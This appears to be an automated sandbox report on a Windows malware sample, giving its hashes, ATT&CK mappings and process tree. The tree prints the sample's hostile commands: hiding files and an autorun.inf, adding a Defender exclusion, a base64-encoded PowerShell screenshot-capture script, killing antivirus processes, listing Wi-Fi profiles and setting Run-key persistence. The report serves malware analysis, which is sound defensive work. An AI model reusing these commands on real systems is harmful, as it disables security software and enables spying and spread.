5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662

Analysis

max time kernel
150s
max time network
130s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 23:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
Size 10.8MB
Sample260817-3twa3ssvhs
SHA256 5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662
MD5 6ad551f598034cfcfceb411ceb66543d
SHA1 4bf3dcb21875d20b71fc9d15a3232ee52535254c
SHA512 13beaf91422f5f13a23f929e4b60db3e70abeb0f4ffef01c9af43e577288836d74927b3d8c9a51194223ddeca084e3c980118fc7eed2b42e703ccb7e2c0f3398
SSDEEP 98304:ZSTUAP6stMcgwfBwYpj30dZLlUuu7KJgGAAW8/RMp+MuQamjJi7CJEXXNB:i3irwfBKlfQKJgGALs0cT7XXN
TLSH
T193B64941EADB86F1E9431931515BB27F22301D098F39CBDBEB943F6AE9376D10836246
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5056	powershell.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4332	attrib.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\Keyboard drivers for windows x64 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Drivers\\Keyboard.exe"	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops autorun.inf file 1 TTPs 2 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	F:\autorun.inf	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
File opened for modification	F:\autorun.inf	attrib.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6060	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1192	netsh.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	6	Go-http-client/1.1

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
5216	taskkill.exe
2392	taskkill.exe
3652	taskkill.exe
4672	taskkill.exe
4228	taskkill.exe
3360	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
5056	powershell.exe
1072	powershell.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
5056	powershell.exe
5056	powershell.exe
1072	powershell.exe
1072	powershell.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	1072	powershell.exe
Token: SeIncreaseQuotaPrivilege	5056	powershell.exe
Token: SeSecurityPrivilege	5056	powershell.exe
Token: SeTakeOwnershipPrivilege	5056	powershell.exe
Token: SeLoadDriverPrivilege	5056	powershell.exe
Token: SeSystemProfilePrivilege	5056	powershell.exe
Token: SeSystemtimePrivilege	5056	powershell.exe
Token: SeProfSingleProcessPrivilege	5056	powershell.exe
Token: SeIncBasePriorityPrivilege	5056	powershell.exe
Token: SeCreatePagefilePrivilege	5056	powershell.exe
Token: SeBackupPrivilege	5056	powershell.exe
Token: SeRestorePrivilege	5056	powershell.exe
Token: SeShutdownPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeSystemEnvironmentPrivilege	5056	powershell.exe
Token: SeRemoteShutdownPrivilege	5056	powershell.exe
Token: SeUndockPrivilege	5056	powershell.exe
Token: SeManageVolumePrivilege	5056	powershell.exe
Token: 33	5056	powershell.exe
Token: 34	5056	powershell.exe
Token: 35	5056	powershell.exe
Token: 36	5056	powershell.exe
Token: SeIncreaseQuotaPrivilege	2344	wmic.exe
Token: SeSecurityPrivilege	2344	wmic.exe
Token: SeTakeOwnershipPrivilege	2344	wmic.exe
Token: SeLoadDriverPrivilege	2344	wmic.exe
Token: SeSystemProfilePrivilege	2344	wmic.exe
Token: SeSystemtimePrivilege	2344	wmic.exe
Token: SeProfSingleProcessPrivilege	2344	wmic.exe
Token: SeIncBasePriorityPrivilege	2344	wmic.exe
Token: SeCreatePagefilePrivilege	2344	wmic.exe
Token: SeBackupPrivilege	2344	wmic.exe
Token: SeRestorePrivilege	2344	wmic.exe
Token: SeShutdownPrivilege	2344	wmic.exe
Token: SeDebugPrivilege	2344	wmic.exe
Token: SeSystemEnvironmentPrivilege	2344	wmic.exe
Token: SeRemoteShutdownPrivilege	2344	wmic.exe
Token: SeUndockPrivilege	2344	wmic.exe
Token: SeManageVolumePrivilege	2344	wmic.exe
Token: 33	2344	wmic.exe
Token: 34	2344	wmic.exe
Token: 35	2344	wmic.exe
Token: 36	2344	wmic.exe
Token: SeIncreaseQuotaPrivilege	2344	wmic.exe
Token: SeSecurityPrivilege	2344	wmic.exe
Token: SeTakeOwnershipPrivilege	2344	wmic.exe
Token: SeLoadDriverPrivilege	2344	wmic.exe
Token: SeSystemProfilePrivilege	2344	wmic.exe
Token: SeSystemtimePrivilege	2344	wmic.exe
Token: SeProfSingleProcessPrivilege	2344	wmic.exe
Token: SeIncBasePriorityPrivilege	2344	wmic.exe
Token: SeCreatePagefilePrivilege	2344	wmic.exe
Token: SeBackupPrivilege	2344	wmic.exe
Token: SeRestorePrivilege	2344	wmic.exe
Token: SeShutdownPrivilege	2344	wmic.exe
Token: SeDebugPrivilege	2344	wmic.exe
Token: SeSystemEnvironmentPrivilege	2344	wmic.exe
Token: SeRemoteShutdownPrivilege	2344	wmic.exe
Token: SeUndockPrivilege	2344	wmic.exe
Token: SeManageVolumePrivilege	2344	wmic.exe
Token: 33	2344	wmic.exe
Token: 34	2344	wmic.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 6060	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	89
PID 6060 wrote to memory of 4332	6060	cmd.exe	91
PID 2756 wrote to memory of 4604	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	92
PID 2756 wrote to memory of 5056	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	93
PID 2756 wrote to memory of 1072	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	94
PID 2756 wrote to memory of 4076	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	98
PID 2756 wrote to memory of 5820	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	101
PID 1072 wrote to memory of 1984	1072	powershell.exe	103
PID 1984 wrote to memory of 2672	1984	csc.exe	104
PID 2756 wrote to memory of 2344	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	106
PID 2756 wrote to memory of 5216	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	109
PID 2756 wrote to memory of 2392	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	111
PID 2756 wrote to memory of 1192	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	113
PID 2756 wrote to memory of 3652	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	115
PID 2756 wrote to memory of 4672	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	117
PID 2756 wrote to memory of 4228	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	119
PID 2756 wrote to memory of 3360	2756	5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe	121

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4332	attrib.exe
4604	attrib.exe
4076	attrib.exe
5820	attrib.exe

C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
"C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe"
1⤵
- Adds Run key to start application
- Drops autorun.inf file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "attrib +s +h C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6060
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:4332
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s F:\autorun.inf
  2⤵
  - Drops autorun.inf file
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:4604
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5056
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5pcz3z0e\5pcz3z0e.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1984
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9948.tmp" "c:\Users\Admin\AppData\Local\Temp\5pcz3z0e\CSC5AB7F44A4B5D4C27979CC22E2A4CE31B.TMP"
      4⤵
      PID:2672
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s F:\Windows11InstallationAssistant.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:4076
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Drivers\Keyboard.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:5820
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2344
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM MsMpEng.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  PID:5216
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM avastsvc.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  PID:2392
- C:\Windows\SysWOW64\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1192
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM avguard.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  PID:3652
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM avgnt.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  PID:4672
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM mcshield.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  PID:4228
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F /IM mbamservice.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  PID:3360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

